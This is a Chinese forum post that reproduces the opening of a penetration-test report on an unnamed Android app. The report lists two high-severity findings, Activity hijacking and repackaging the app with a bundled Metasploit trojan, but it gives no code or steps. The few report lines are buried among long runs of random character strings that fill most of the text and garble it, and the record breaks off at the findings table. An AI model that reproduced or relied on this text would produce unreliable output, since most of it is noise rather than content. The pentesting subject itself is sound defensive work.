找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4718|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
" U+ R- R& M% O4 l, w& E ) `: ?2 q% |( d

5 y9 P& q4 f- U" p0 h& W 5 t# K6 O$ [7 T- B" T" E2 S
% R* Q/ ]4 i5 t1 G5 ^( r7 p+ o5 R2 ^+ N% k' ]: B% X

2 Y; V/ X, u# ^4 n ! O, S6 `) S" X% T' R
: I6 G' y$ l8 f1 k / X1 _5 f. e1 b

1 \. l" n; a1 X ^, B+ Y , I0 b. C2 i" G 文档编号:                ( a. A& i! _# f( A% w; k6 J 3 b& S$ E& a/ B# {3 g' x1 ?- t) z

* g5 I. v0 X% y- k' N7 K 4 s M+ I/ W/ J+ i# E* Q8 E& i" G$ O# B

4 J r, V3 z9 n! P' A: C& D : n6 D4 c+ ^3 B( `9 L, n   ; V" S& U- N# A% Q2 [) a! q+ [ |3 B$ [7 R" A' ?7 D" a0 B

l6 N2 {. z' c4 q ; x- D7 m: q1 N6 I2 {

" X5 l; Y9 @6 i, m, V5 } / c% i& S2 j" r. K! c, J   0 L0 e, u' k+ `3 X0 K" W " C9 O- F4 n$ Z/ q

; y/ e4 s/ D, _ 7 ]9 y- K9 X: _6 U- w3 Y: a

% W/ \* K$ P/ q& D* [+ O) c4 v. W) y4 m   6 M. f! L' p% u; u " Q# E; o: a& Q# o0 q7 X: j

* u8 M; G$ O. _/ c( c$ O6 T : k+ O% F$ P3 R# o

% t5 M# y h- @* U# Y " [( W4 H# ]' k7 Z2 [   $ e1 O3 F8 v, h% _) o, @( w1 k% \' X & |- e( ^5 {2 q3 m

* K% Y @! p- a/ w0 `5 [5 u : e% o' k( [) M0 y! w

1 E: X; D+ Z* l6 J ] 5 U+ ]+ T- P6 R8 T+ E   9 q! D7 w' H9 j- \. } + b5 H7 F% h: P( g5 c; O

8 i6 _: ]' H5 \' v& k! f, N ) ]5 S: o9 c' X' a( W t

$ k+ L$ f8 P3 ?, s& `7 t ; p9 L1 y. M! i& n H( a3 W. K2 t, A 某某某APP渗透测试 5 A( Y; e! \! M }: c " m7 q) \+ e! l9 Q9 H

2 L; O$ ]1 S8 t- O1 w6 @5 T) B 7 I4 m, H- l( s8 H

. R5 Z0 Y4 u2 o0 N) E: ^6 v ! q/ k0 l" j5 {6 h+ t   4 R, g% v' F. R$ O1 T8 Y 5 x9 f5 n$ X) K4 Q% t

F& c8 ^- o- u, t8 C% k ' l X: A* e2 S6 ^% H4 m

( V+ ]. A. Z9 _ ~( N* p7 G + s8 s. R. b; N' W   , b/ ~" M8 J- @; C+ ~$ l0 G* V9 V; P2 w, w

0 ?4 ^. |/ \& \" W 3 d- W; Q4 Q+ V. h# c1 N

# e* N. G6 t( j/ Z5 L- h) { & B$ k4 m: z9 b, y4 K- F   * G' A9 u7 i( c4 s: T' I / U0 q2 J O+ }# w' d5 ?- j

0 b- K+ B% L7 c+ } . P3 ^+ J# h& n: r5 b5 T5 ~

( P7 ^3 k e& Y$ }0 M3 u% h * A1 R3 Y" R1 ?0 \   * n! Q! A+ F8 M0 S, c/ S2 m" C) Z* m2 d

: P- R+ X. n8 k" P9 J% _3 Z " Z# t$ L6 L" t# @: L" M

) [( T% B/ e2 B6 W ( j3 \2 q+ T. y; C% v6 K9 z 技 术 报 告 - d3 C" [- r9 q$ w4 Q+ J5 r- \" Y6 _; C" f

: K* E- Q8 _" z6 L& i0 q5 P' ~& F; z& d

. ]7 H) Y; K$ M5 a , w% s5 L5 [" P0 @. d `* ~   w o0 X9 ]9 F, d- i1 K4 r' L5 P8 E 6 u- D' k7 h; U) K* C

9 E' \& F7 Y9 L1 k$ _, u0 P& V4 t7 ~% Y7 O+ s7 C4 z( N9 r; z

% s; ~" }/ ^- T4 V1 i- M 1 R4 m2 N" {5 I2 Z/ Q9 A   1 X& k% _ G% c) J 9 r, u; b4 n$ E, p% Q

W, n6 G, D; l ! r" A! y: V# y1 T% G# q9 L) Y# F2 |

# n, M0 _) N& W' e1 m# k: h# Y5 B( u + P1 [+ A" l6 g! K7 |4 S' m/ Q   . @( n4 }+ Q/ p& s4 @& `8 X 2 N9 U7 p% @* _/ I8 F8 n

Q& i6 y2 b. e$ x% y; w2 J z/ l% i' H2 O; _9 X) x& a' e

- v9 L- g3 r( K0 g, E - k) a3 u0 [& v! }   , B2 f% q2 W6 D( L# n9 [ t ! Q- E9 m$ s; _$ F4 M# u3 t- D; i

2 o) ` N8 H g5 Z " h7 B F5 E# T. q9 t" j/ H0 k/ d

9 O5 D, h+ f; m7 Q; y& k6 E) f( Z , s. S7 n% T" Z' j$ `   " _; [# G$ l8 u w0 R( X 8 b2 v, r. j( j4 `* a) Y; r

: M4 e; t/ _( ? n z |- m/ V+ h& x- _

/ a( _# s* \. N: a5 s1 V: S3 i( q1 d! p6 ]( B: v# p( t; Z   1 `) I3 R7 y, t' S. E " f9 ^3 Y+ r: E" E. ^

- g6 F" z$ M8 H P, u' Y7 j/ H4 y H6 v* }# M

- }* y! b4 e1 l 4 h& v2 Z0 J* x- g& U- T( P* }   - i8 F+ C! P+ K s5 K4 {2 L( u6 P # G: N: \2 k: u! f

0 A# X h7 \5 N4 }! m! v! Y! k, u - W5 Y9 m+ u. q: d; ~- e3 A; A

( S! [+ B+ k6 y; [# z2 o3 h , U, b: L. `9 d3 x& g) n+ y# c   2 b* e& l( h% D) N% Z0 B; p: P

0 P( ?* y1 x4 q4 u/ b# K % N& H, _ b3 e [) b; _1 F% ^; N" j

" v5 H% T/ p6 k8 E * O$ b$ ?5 w. y* I+ D   4 B$ X2 ^1 `% I* r1 P1 p9 w: K7 m) \" C

6 o/ Z: R' k' a& h5 Z- D . k) z. a% ]* p x$ _

, g: S$ e! u B; _5 v# V' `1 Z - y# K$ ?9 k! o% d, B3 }5 a   & V/ i7 G* X w1 [3 a4 T# T' Y: ? , D/ x5 h; |, { W" Z. w4 F

. V5 u: ]4 c+ K + {" `3 G# p) }2 Z0 y

' F* k6 P7 m% c7 f0 _/ t0 U' u) x + R6 H9 O6 E/ a( s4 M% I   # V2 g% C! \. r8 X/ b% i: F5 @ " j6 r' c/ W0 W9 u! ?

8 X$ X1 j4 [7 U3 ^4 r # f a+ _3 e/ x, \+ e& a

$ u0 i5 d; Q5 ]4 i) J 8 O6 h! v/ T) Z- O: O* Y7 M   + t3 }1 n, d* ?: A& J, l4 a3 o - P7 P- x2 ~$ S" S3 Z

$ \+ S4 H9 m3 _9 U4 ?9 v 3 f0 }8 [ A( T+ L0 |$ C

4 B; Y g6 V$ b! o4 N/ X( | 0 \$ G5 Z# D, G- U0 B# V. b   9 M3 J0 b9 |. T! x 1 N5 K. G6 C: S6 y1 N) { }3 _

$ X! x6 M: k8 C# L: V; W : t3 ^+ K, ?) K, t% z

* ]& T h* u$ }" v' F$ z) k& S9 z& L$ t- f   . C9 Z" a: Y. U + t9 m' t5 N+ M, k

, }+ W4 U! U8 X# j' n6 G 9 s/ S; X; o& I6 `+ Z

9 ~6 B' E |& a+ _7 @ 0 ^: z- F# y: F6 [5 [, K2 O4 w   ' r2 [. d7 p p6 S, S' |; D- F2 ]; t2 h. C5 [/ B

/ N- g4 v9 `1 Q8 m, ~' N, Q+ r' C7 }" c4 l: c" M

4 e9 q, y0 o+ N" W) G' v2 O 9 K5 D& n+ u+ P$ F( {   ( w/ _: e+ L- w7 V- A 9 D! R. P. B- ?! W8 D

" d) \6 {2 ]1 A" F1 r1 `- Z9 Q9 i & f8 _3 L+ G; O1 S5 A$ z

/ _ Y* c- Y" J 7 D# v* \# @0 `1 X. w9 o   : V) P9 L. }& z$ d 1 I, ^& e2 O7 A* e% d

0 c+ i: E2 ?3 e ! v* B& I& p; X+ t9 B2 C( U

- Z" H+ J0 \( ]7 ?+ q1 Q # [( a( H+ Q0 @7 E   ' g9 A4 a4 Z5 A3 @" S) N! a3 j 6 o* {7 u3 @; R6 n$ k

+ P% W. v7 a' P . `, v/ c3 W \" h, s _, D

+ @( I& z& K: ^& C" ^5 Z - B$ c- P( a# _/ m" |. [, [ 二〇二〇年 ! W1 I7 A9 ?# U- z# s/ S* A- H4 b6 \2 P Z3 K. Q2 U

8 C( ]2 X! e( X) G0 F; R . g% w7 u& X1 J; \3 W3 G0 s8 F; ?1 @& s
`' A/ N+ ]+ x9 T 3 ^+ m- Q8 ^+ b# Q
. ^ [7 ?4 C! c6 |% m 6 m3 j: s4 q% f+ s
7 S4 Y- M7 _# z) c; J / x4 b/ M! C# _5 I8 l$ _
; Y1 i& [* e$ o% T3 y/ ^# f8 K. s) f' c9 I( s! V
* i0 a* g# `6 e# V- W* _- c# O " H% A, c8 n5 b& S3 s( o3 s
' i* x6 ^/ |- J% Y" T- G& n7 C( d$ s, {% r0 e
; m0 y& c" L. B: w& s3 p$ o8 b1 W: \ t9 j# W
. m, K9 U G# M 9 [' ?% H2 g5 U

' X2 m9 u7 m9 q3 [; u$ {4 D ' @3 [! W3 a: Q 目 录 ( ~0 d. I& n1 V4 z$ q: I& V/ d6 ^1 \" A( b5 Q1 ]

5 S: D% r# ?8 o* n% ?4 r% J8 c, _+ i, J / f2 Q; G$ T* ?# P4 J) ^5 H 3 C% Z- C J2 n

l1 l: E7 w) ~& O% l- }1 U* u, P1 o5 h- C/ X6 l4 P2 w   / o1 m2 M' [6 ` " \0 [: p- w- ?: K

' r9 k# P, g, l0 f l4 w% r- Q2 E: `* f$ ?0 i

4 S2 O. ]- N2 O 1 E1 i9 G7 v E9 H& Q 1 概述... 3 2 k; {4 w, q r% u2 Y9 I+ Q 0 n$ A) \" ^ Y$ G ~7 L

9 Y. Q+ E) r# u, K: y( |0 l* j/ k9 y$ a+ ]" G! k1 Y9 {

6 I: J2 W8 e5 [; y0 ~1 }; m: Z1 a8 K+ d5 Z2 ]% X! f9 v+ d! e 1.2测试时间... 3 # c/ n4 G" H) o2 v4 f. z* ], |7 @4 v- j2 f3 U

. g; ?$ h/ `" T, M N' I: T' x! H& g0 v" \0 a8 o9 \& I6 S

$ ]0 m5 u! u1 u$ |( D3 U 7 x7 r5 H& S7 u3 \& H ? 1.3测试对象... 3 5 F" Z/ Y3 {) Y+ J ) q: t. V0 M/ k) y

2 [* x! `( Z" T; t0 l) Y- ^5 O3 u7 ] W7 U1 A3 ?' \9 {

1 W. w) _% h9 C! B . h- W1 l3 S1 m# \ 1.4测试结果... 3 + |. C( m3 |% h; J4 t% }5 [ + }- T; @6 a U( f9 s

, T5 U* [. _" i4 E* B+ ^; P! { 3 B% }- @6 o6 ~

; N! ?, T! X; {/ S2 B ?$ @ % K3 F8 P8 X- M+ e 2 检测结果... 4 7 f& S$ {7 A ^; @7 J4 H: \1 B# Y' o5 i, s4 P% A- Q

, H1 L. V& G/ T, o2 ?, k Q9 [; b2 |) A1 A

( M' J5 z: ]8 `9 H) ` 5 C0 ]& S* t' t; f; K r* |5 n9 } 2.1 某某某... 4 + R7 \+ T/ y3 s: a& [) { q& @' {4 ?7 f7 p/ [9 @

. m# z0 f: U1 H r9 R5 t * C o1 v; J' ?' H: [( B

' D) W. C6 @, t1 F * o8 ` f5 F" F" _ 2.1.1检测目标... 4 6 D0 ]7 a6 J/ L # i6 Q5 X1 r# f& r4 P2 |, r% {

. ]9 ?: `- B$ E% i) X 9 _9 f+ V# G9 X5 X- s

+ d1 t; ?! C5 V; \4 M, O& |. a9 C( ]+ K _) u: Y 2.1.2检测结果... 4 , v" U, p2 \; C0 K. @' D4 F. y! w 4 A. Z: V5 Q2 t' P3 n# G0 _

, Q! n* o4 O3 x+ g5 u + k1 Z9 `* L1 V

- b* o# A1 }; f; h8 N% W0 `; U; y0 i9 z- ]/ I1 z4 P- I3 n+ v 2.1.2.1. 4 3 g* y6 v6 P1 T2 h5 H) S 4 |+ n B) w( U& W# b, ^0 t; k# g

- L. J& w1 F: N0 ^1 a 3 x% p1 w- O$ }/ K; U

" p5 J) S& ^% R( M+ B $ ]" s/ r2 }- M0 J& i1 e( \5 v 2.1.2.2. 6 # g: N( `: @/ w/ Y$ t' v+ }9 G2 b( s$ ~! [6 l

2 I$ m a: n$ q 0 E1 @( I2 }0 s4 d( v" ? | g

' H! V! u$ z2 z2 ~' z! w. ~ V, X8 I* Y 2 W- f V6 S1 s $ }- O" o! r4 S5 K2 A/ k

2 ~' [! m& Y f z% P- M( X4 O' Z
7 A8 e. o8 U. ?9 E / j+ i; I3 r- Y+ I+ \- G
' I8 b. ?) z: _' j 0 `2 A( \# O5 H4 N0 A% U/ W- R. e- e
a5 F! k- s9 B9 I. q ' V! T5 [( T" q/ z9 P1 ?
4 O* [. e1 `5 y! ]' |8 m & a9 D, t9 R7 [ O

# Y" p/ b+ L" `( h ' m' V k- r* Q) j+ k 1 概述 + W6 u! a# {4 `/ c U# ^* { 9 `4 [1 ?& [5 `4 S% q! S5 d, x

( S. C+ k" E+ J# i! n: \' _( v v9 l6 Y5 r E! D& i

6 @& E& U0 D ^; y $ ^+ n7 @3 N1 z) }- M 1.2测试时间 7 M1 X) s( w; J1 H3 H' T , _+ N) y3 c- i

* W: a/ ^/ c) x7 G, f* S* Y5 A+ w4 T1 c# [1 Z8 k 8 k' M& \, B8 l) \5 n* o: m9 m# q4 ?" u) C, q( A8 O- o- ~+ n4 x Z. F3 F5 Y! n1 n: ^- O2 j! E4 [6 P& p$ \' C9 J/ G2 @) s1 Y" @9 Y- _: q' G F( q. F1 B, i5 N2 |% z, R8 E& h1 O& a* l3 D+ Q/ _& W3 [8 S9 R+ A, p4 f3 o/ ?5 {* A$ D3 S3 A1 n2 ^+ F8 {$ y/ C) W$ ?0 U: S7 t, N' {" K8 T, q- O8 H; }2 E$ T" f9 z8 v) {; W% w' n( j1 l2 b) q, z# v. p9 }. i1 [/ b. N$ D2 {! z3 u' I6 Q; h1 F* P8 Z1 t7 F1 d6 R5 J6 k( ~ Y l6 R2 ~2 u/ u! R3 l6 s) v! U' `1 e' P% C2 B' C$ l' i8 J9 }6 Z H1 M, A0 T! h4 d: y4 z$ N! i$ @. Y: X, V" u& n R5 N- i: X8 d5 R" m4 @) }; L0 T! s' o, s- u0 ^8 d$ _0 f% j7 m' |% A7 C7 \1 O7 o* m1 t6 y/ B s) c1 H8 A: ~ O' l) y' ]) o- o2 P' X7 G6 r
7 C3 h. u- Q/ } 2 w! K* s1 V3 l1 P9 ^2 I

; x' {4 G* k0 Z E! y$ z/ m9 G N) T' A7 \1 V8 D 渗透测试时间 6 {8 o ]3 _, p% v# { 2 a+ Q+ l; }; B! N1 ~0 e+ O: T

7 q. g. l2 \4 b1 v0 Y5 O2 K6 F & g2 V0 C u# c+ T" N& N! ]
% r8 f) J/ h. x v. O/ A( V2 ]6 N' }7 [' w; J3 G

F& h$ d( Y" J0 }7 A2 S3 x# `$ ]- t! r% ^& y 起始时间 % O) n* A1 n: J6 f( _ - i1 \1 c, E J: T) F, f

: R8 a i+ o' y/ w4 ? , E8 I( Z, _% n# U# r' x
2 E* S/ _/ ]& _* w# ^! M8 J" k* r( T: l3 p0 y1 I# d3 z

2 C4 |4 B: y( o& O: V. h2 E' |% I+ d8 }* F/ O' U 2020年4月6日 & _( ^( Q9 J& T/ I; ^ , ? h+ ]+ e$ t# }

~, P1 b6 i! ]! ~, a; X - g3 x1 A3 ]% p- r( T
$ p" G% h: B* j6 @* l9 X/ W7 F- Z4 s6 G# n

: j% H2 `2 V+ b3 r " q4 Z1 C$ Y( R7 z 结束时间 9 ?- C7 k. ^. x+ L) F3 f* d$ N3 K" y, k

+ i# m# K/ e8 _, [: B - A# E* s% Q$ t+ v" S/ {
' |: S+ k/ {8 R& a3 G2 e. s. w 2 M/ C4 F9 d6 G/ m! e

6 L7 B; t; [1 g$ D k! j" T0 w; T3 L, U6 u/ E, r2 c8 G 2020年4月9日 0 d% F4 z5 g9 d# H% o t$ Q& t+ H 4 }- _2 ?" H2 O7 K; ~

7 t: h" K0 X) Q4 S: k3 a3 d" C9 A+ P1 F: M8 o, O9 Z
7 A3 g/ D+ k8 M6 a2 L ; Y2 \0 q! v a9 ?. A4 S/ c. N

. S1 F! Q3 l. V% T8 U0 \ # r" h# v# b7 z1 u& a! v 1.3测试对象 2 j( U2 @7 i: B% y/ P. R : y6 f. C( n7 D( w5 K |- x

' Y7 J, p9 r" p/ r 3 W3 s; D* M" W3 X2 x8 q9 v

3 u1 M$ G, O' M, t* _. [ }3 r0 L- j# D5 s# D; o 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: & h' g8 m# Y. N' N / t' M/ o$ h6 n4 n7 W4 G$ w

8 B* g2 P0 p4 z7 b/ X1 F! L 5 r" K. |8 h# l7 Z+ ]9 R

" b) E; ?+ z5 I , R8 _% |. H# k6 b# o( m 表1-1 检测对象 6 f0 f# y; c' G- a$ M y1 O* p: [, \- b9 ]) P; P+ a$ }; X. p

9 P, {* w' Z. `7 y- c3 } 8 k1 N' p# B6 {3 Y + `+ f& j3 l0 ]+ \6 `3 c* _3 d+ f, E9 ~" T/ q( p9 \ D7 `" n% y K4 I& F8 W5 x5 k: Q5 U0 B6 L2 }0 A8 o& E. u5 `9 J% I# v% X7 J1 s0 p( x8 u; s4 y8 h& O; L. v8 D7 G/ o* }0 }* U( M7 I* p8 R$ e: F1 M) R: j( ?/ e. c- y* P) N& W1 S5 V V$ c# |4 o5 y* z* R4 ^* [* l9 n# C- \6 e! d4 h6 X0 t/ S" e1 w, X) W. {4 T3 \7 k! B7 h. {; f* F7 ]/ o; y( v# d$ h7 c" x2 j; Y: ~2 S4 [: ^- m# b3 z1 M4 |' f9 Z' G- G. E( \% E/ R" E; r. J$ V& Z4 [9 t& a9 E/ ]- p: i5 e+ S) L4 L/ ^4 `6 T# ^) i. T0 ^" C9 q. K" \0 W1 {! C1 H8 p! G" s) T. m* g% o6 ^- x( O9 w; n7 o& `6 c; G2 { L" e% P9 T; g# w5 c0 J9 M% s9 Z" W4 X, {1 l5 n0 ~+ Z7 ^/ p; t" s( @9 x$ Z! l# t* I- R% t# i8 Y" A4 f- ^ K+ s
2 D$ ?$ `6 d9 l. L' n; R; {4 Z 9 N' T6 M5 N5 @* e3 X6 \- `8 f

. V& w; i6 g6 q: h- m- P8 y( _ W' n ; E" }" G8 N! H2 v2 W; d+ D 序号 8 r; h* B, V9 u+ b1 b+ z - k: c) L2 S& _% \' m+ o

/ ~) D/ [* p2 s, f1 G : K( o0 K* {2 p, D. t" ?3 P2 b
( Q( g0 ? |; f& A) H - m# r; u1 P- g% \/ r% l& _! u1 p7 e

* y" ^4 b' D g ; M' n& c* p# u) [. D0 i2 |: c 测试对象 # O8 B/ f. ^9 [4 R' i' J # n- u. s8 k4 G

) T: B% C, I7 A! C9 D0 M ; Y- o: r; k& P+ _
& ~+ R7 w# _) g/ l+ Z5 d1 h6 c& X + M) j( ^) J' h4 |3 I

. _( b$ ]* E- H) j& s . z. t! C" D; } 测试地址 8 Z+ R1 m1 |' L; _- j% L H. E, T3 z2 m5 X# f* G& c6 y3 m

' l6 f. D7 J ?3 P% A8 y1 C' B( x& y+ |% y. m6 i
$ z; y- h; o- x8 h( [$ V. p. `: ]# ~ * [; \8 }- f' ]4 x: w k( m

# x) E, c. K- z& h- R I; T1 y/ @5 g2 w" U 安全漏洞 1 b6 r0 s0 G+ g5 I8 ~ @! p" n& ~2 P. ?: l9 x

$ u4 @0 K# }/ o# O m C2 d. H* n8 r9 c
# W+ N, K) i1 G. l0 C * |4 Z v) P* {: A6 q

" n0 S a% w: e6 Z& u- F 0 z: f: }6 ~" q: C; \ 1 & J: i2 c2 K% z9 f9 L% b9 h! p / W: n5 u$ }( I1 B6 ?) [9 r

) j8 d) j) o4 {8 z7 P! c" @, Y % ?0 F8 v0 s# I/ p; J3 K
5 X& f( S$ q# @0 F8 ~5 S- A, E % y! q t' u. `- y3 V" d

t- [$ a( h2 O. z2 j - l3 n3 }( o) R; ?/ ]& z7 e. b 某某某安卓APP 1 I6 Y' C' U. v3 L; D4 y/ g* R , J5 s2 t& C* e# H- c: V

|7 z @2 b2 \ % A- c( e- V2 i7 f; R' F$ z6 R
1 a# _$ z/ W2 }% C+ h0 R ' k5 ]2 A! N" Z* i# N1 @/ I

" ^/ R, m1 ?/ l1 q; J, z " ?4 |( v' E, c* ~   0 U: ]& m7 |/ b; Z + }2 T! q$ I; O3 t

) N$ C% s( _- ^! x ; {( g) H* X$ W( j/ B& S
" N0 F `, t' }% h$ x* W6 ~7 J4 t( d 8 b' ~; E& S7 o3 }' g

$ Y9 K9 Z) q" i" @ ; }. y% F* k+ o 2 / a+ h- I1 W- m o. Y$ B O0 i 8 o% I1 a9 w2 r$ o9 [4 N. @& k

|3 G2 O& C( M8 y) f2 Q& h 4 w h' Z* s! |: ]' _
! ~. X$ V- \! N0 ] w! K2 d4 l) _3 r, o: q/ ]; O6 }

# S/ N5 _+ b4 R/ ?" H; l$ D3 g* e # Q9 j0 ?: I6 |; y/ p0 P, _& W 1.4测试结果 2 y8 t5 Z% J5 R: C6 W $ q9 b1 ?+ f1 ^: H U0 j6 p

9 n/ E, D5 t8 \' U+ s9 I 9 c$ @' ~ e. c% d3 c

( @2 v2 Y# O9 { " E+ M1 n) c4 E" b2 ~ 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 2 e" ]: q2 G2 J: _* N2 y ' _ b0 B% k% C$ H

2 a8 H- `2 y ^1 D: p 1 {) n1 l7 T% |' X$ J2 F$ v: q

7 l$ Q v' m c; ~ [: s - r) {9 c& W1 G8 t   ; m. ~+ x3 q- K2 K+ m) {/ z% o ! S# R; W. r- D- N3 P9 f* ]

+ D* p3 X+ @/ k: A 5 `" ~/ \7 A8 r6 U4 m9 c% y
7 L: A0 O2 R2 V b ' c' v# s7 t; T# d8 z% ] 9 k2 _) H w, D% p( l2 @5 ^2 g1 z) I, ^) Q, Z& ^! i& G6 t- a3 R) t& J, z, q; v# x3 K, G. `6 H. F& g. K! ^. y+ J; z' W& [* p0 s, A' [3 p5 W+ L. e# P) F! D' m& f) Y3 _+ u0 i% Z4 M+ t+ r: N( n8 D3 s9 Y5 M. n) S1 o. G# X! R/ N' X e6 V& p- o3 T/ t/ W( A5 ]! N0 q6 |4 B+ H, T% \2 J, S1 b5 I# o& x; s; G! {& y0 A9 |$ j* a- ^, D- [& a% q+ ~9 e, ?3 D# ^8 U7 u' W" g: h& F6 ~! C* P8 W, C; v# Y% V K+ @$ Y& M4 J) _" x. D( L* G b4 x: H$ i* ?- _ B1 F8 k/ M8 h; G2 n% X! j+ h- J# p' G, o4 X# n+ ^8 I; U0 ~ T. Z& Z% M2 l; z" E' W0 C0 O0 b4 g7 u p& G: r, |& c0 h, M/ D4 v8 v5 a" F/ {) a5 A0 C! B2 `( B: u! z8 \; T: ?( I7 I: k& T$ S( r, x* g9 N" w6 l \# F2 o# W, _: t6 c" M3 }& y, E: ?3 G, W1 W* c- O3 s( h6 N! H$ {# f2 @6 C$ [ t' N+ m$ ?1 x/ i/ f& P: H5 i6 j" n4 [2 W. f4 ]% N8 l: d% ?8 Z8 q; [# ^ [: a3 j, F" n) k; u: y6 I( f& {* ^) Z- N2 K5 p, s) G& [+ L+ M+ Q7 a3 a9 x7 Z- C6 N! M6 {; {! l9 K& Q- T1 ]" s. e1 `! `( b% o. j9 ~5 I0 L3 C' q( n5 E: Q3 X7 s+ ~0 |) B/ i/ n! C! q7 z T# g8 \3 \( g, Y/ }1 @. {4 g, a9 K" ] o K* B; k5 x% g$ K* r' M4 M" k u2 _3 I8 S3 J2 v+ Y' T8 y- J+ b/ q% U6 `* u6 u2 H* L& t
# r C* ^6 m% |, w: L m , S3 T2 p# g$ r/ R: n4 m

. }+ R2 J2 O: j/ v# w; m' W3 [% B* b' v" f. T3 J 序号 * P' @" `- `' z9 @. _1 e3 {7 P9 b- R$ m! l& s. [8 t4 T

/ S+ _- h6 i: v. ^6 U/ v0 i , J& ~- L/ s; P' a! O+ d
% {/ k$ Z! D5 d- `# M: s * x7 p4 N7 G4 A/ D1 @- g/ l

/ q* w7 R' g1 `8 Q1 F/ S% R+ c1 z! r5 v 系统名称 ' c( R: \) @8 _: ~/ _) E! v 6 J. W9 v2 ^# _

6 {; h6 u. V* z, {# n2 N3 i # T r$ U' ^ q T, |6 w1 ~" B* g
+ X3 b$ ~9 f8 k 4 ?7 Q' P* i6 M& X; u) U

- D$ l( ^+ w2 [/ t* z2 p$ n" g 3 n) | z, Z1 f8 O, s 漏洞名称 ! I% n- R6 q: e1 [+ W, h! n/ c ) A2 C" |+ u& F* h9 E! [/ C

# n N$ Z) y' M% |: [; [6 H; L 0 m2 \ @9 G6 z& D! I
8 w! v; J* @* ^, v7 u/ M3 B: Q . n+ C# V$ [ E( Q( u) Q7 h0 K$ t

9 G' k. G1 b6 d: R# l 0 [ {- u: |2 l% W 漏洞危害 + y$ k0 ~5 m+ v+ o" m5 O' N1 `$ B5 e8 U0 ~

3 ^+ y) ] k5 S( j E: ?3 x ! a2 z/ j' U0 w3 G6 W
) h# ?9 _3 V% k/ I9 @& M( X: g; Y8 l' W( O# q

+ J' V8 H$ W9 Z) d3 d9 a + R) g5 K ^5 h4 B( j+ ~' K" T 修复结果 ! [ ~- s0 l0 _! ?; v2 _; i( G3 }' o1 T

7 g, G( G$ Y- s% z& H8 x % R) g9 a0 m1 I8 t1 O4 p1 L
# t; z# C" X8 S% h+ S2 N$ [ @+ t [, t5 R2 S, {

, J# P, U" G6 U , a& H4 t# P9 F5 @; V" d y x 1 * z* ]) J0 B- g+ K5 n - x+ H2 Z9 ~$ X& g

/ L% v9 {" r3 _ : A( M: J# m/ W$ W$ K# [
! }0 ]6 u. [5 J T( x # R4 d6 z# D5 }" Q5 b1 a

9 L" S5 J2 o7 m( S' v % i ]- I& J3 ?; X# @' U 某某某某某某APP , z; ?: D1 g! z6 r- S B* v' p0 `) W6 @) @9 _

5 a$ i- \/ ]- w+ Q( w- F! m3 k( |3 n+ _' t$ _3 i f
' k& A4 l1 m i1 e- z7 n* a- x& m

8 c! H4 I: i# R 7 O* ^5 X V& c7 {. g, |& o Activity 劫持 9 ]$ ^# W3 ~3 r5 ^* ^ + V) G) r7 R" T6 r. a) r- z

/ c8 y/ b9 o3 x5 z3 C # s) T# W9 \7 r4 D5 x0 G

: r' v5 o3 G3 m& x% H ! h: e9 f5 L) `+ g1 r' i   8 g. ^0 n A# x. L" P* v! `0 B) i # H; G) f9 ?" Z: W$ R% c7 Y

+ g, v% b( b. ]& O9 a " c& j) t6 `/ d/ U
! w2 T5 @& [ `' n# N4 J% ?8 H+ f$ {

: x' a! K6 q4 W4 g n , f) Q, j4 A( a ^2 B; @ 高 4 _, \$ a9 r' z. L0 f. t 8 H4 v: K& ~( g; E } x" E

5 j k: F4 J- S* N; y @; z $ P5 B4 a, `& j
2 s0 Z6 s @9 m8 S " s$ U+ x9 T0 T. K

8 c$ z/ }2 y) ^5 Q/ Z0 Y; v2 x+ f & Q* @; C; V( _! Z g+ o Q) {   - D c7 L( J% j" ]! j. m % a M; z- D P# H' g0 O

' H( v6 M q1 |' j / c- c" ~* r8 P
' J5 D8 x' g6 a) x: Y - O P, E8 `/ D) h9 F8 [5 e

: T* r( Q* B% d" G# [, v ! R& L8 f* h ^ C; V2 u m2 x 2 $ C) Y; r, M) L$ ]+ v $ v f! z- _8 ~0 B' m

1 u4 U( N4 K: _; x6 | ! ?' m; {7 o) u4 I3 n& e
/ b/ j2 h, [4 s7 l& M4 K! i: d+ a; G

$ ?2 c) Y7 [1 b7 k+ x) S ' y3 v" k3 ]0 L3 N( Z( S 某某某某某某APP ; A q9 N% E" V# l& B0 I % ~2 W T- v: I1 R! [5 Q# W( I

7 [. X/ ?8 v0 B) b7 J% B8 u( N5 l+ v% B) O- b+ U' e4 m
# o) S# |3 {; @5 G1 Q& ^5 K( y {0 n( G3 [

' B! I+ v2 w1 v: w' m ^ , Y/ Z2 E& r7 o3 ~9 V! A* N 反编译二次打包捆绑木马、篡改APP代码 1 t5 W3 x( S4 R5 o& L" ]# y9 j9 ] 1 l5 P* ~% Q+ O0 @

3 Y9 B5 T5 Q @8 U; n 2 ?: W8 c* H. R7 ?6 R% d% M4 D
& u) L9 ~# R% x8 ]+ ? O* Z! l2 h 6 R3 v; p' Z2 e; k9 r% X

) e1 [8 a C: \ 9 b1 b7 n! F1 m6 s9 ] 高 w5 ?9 v9 C) P% g8 S 3 J7 l/ `% r6 G1 S. o

( M% f. P3 y W( |! a1 a N : v1 s! z2 |6 K4 f
" x. u6 }# s2 L9 h% @; e. h! e, W# ` 9 ^+ J( ~7 u4 M+ L

1 L9 L5 t( I. f, I' Z . ^/ k5 x3 W5 U* R! {8 d1 n   ) f. f3 D( @1 N! u' f$ a9 s $ Z( M2 B2 ~+ E8 e! Z% C+ L0 E$ ]& k

3 Q3 D; B; w- `: B4 u/ G' n' A2 h3 T, o; p/ M* E
- F- l( F9 V" _0 I* m2 R) } 1 Q; S+ K9 o+ F$ W. C$ s
% _5 N* F% f# B7 c" } 5 y& f6 @* s, e* u2 U: j0 n: M

9 ?% ~1 Q! g: F [ R0 ^, E% K/ r( c& m" p   ( a- ^! u6 p5 w1 ~0 T# B' Y0 r$ m9 a1 s7 S

9 b% l T/ R# f- z. r2 t2 ^( Z- ~* l4 N& _. c2 F+ w/ y

6 @( J- ]+ V9 C9 O- b2 q & F- {$ T* }- f" m% { 表1-2 测试结果 . f0 C! n2 s6 a9 H- B m" o7 V) S0 a" U" O% N

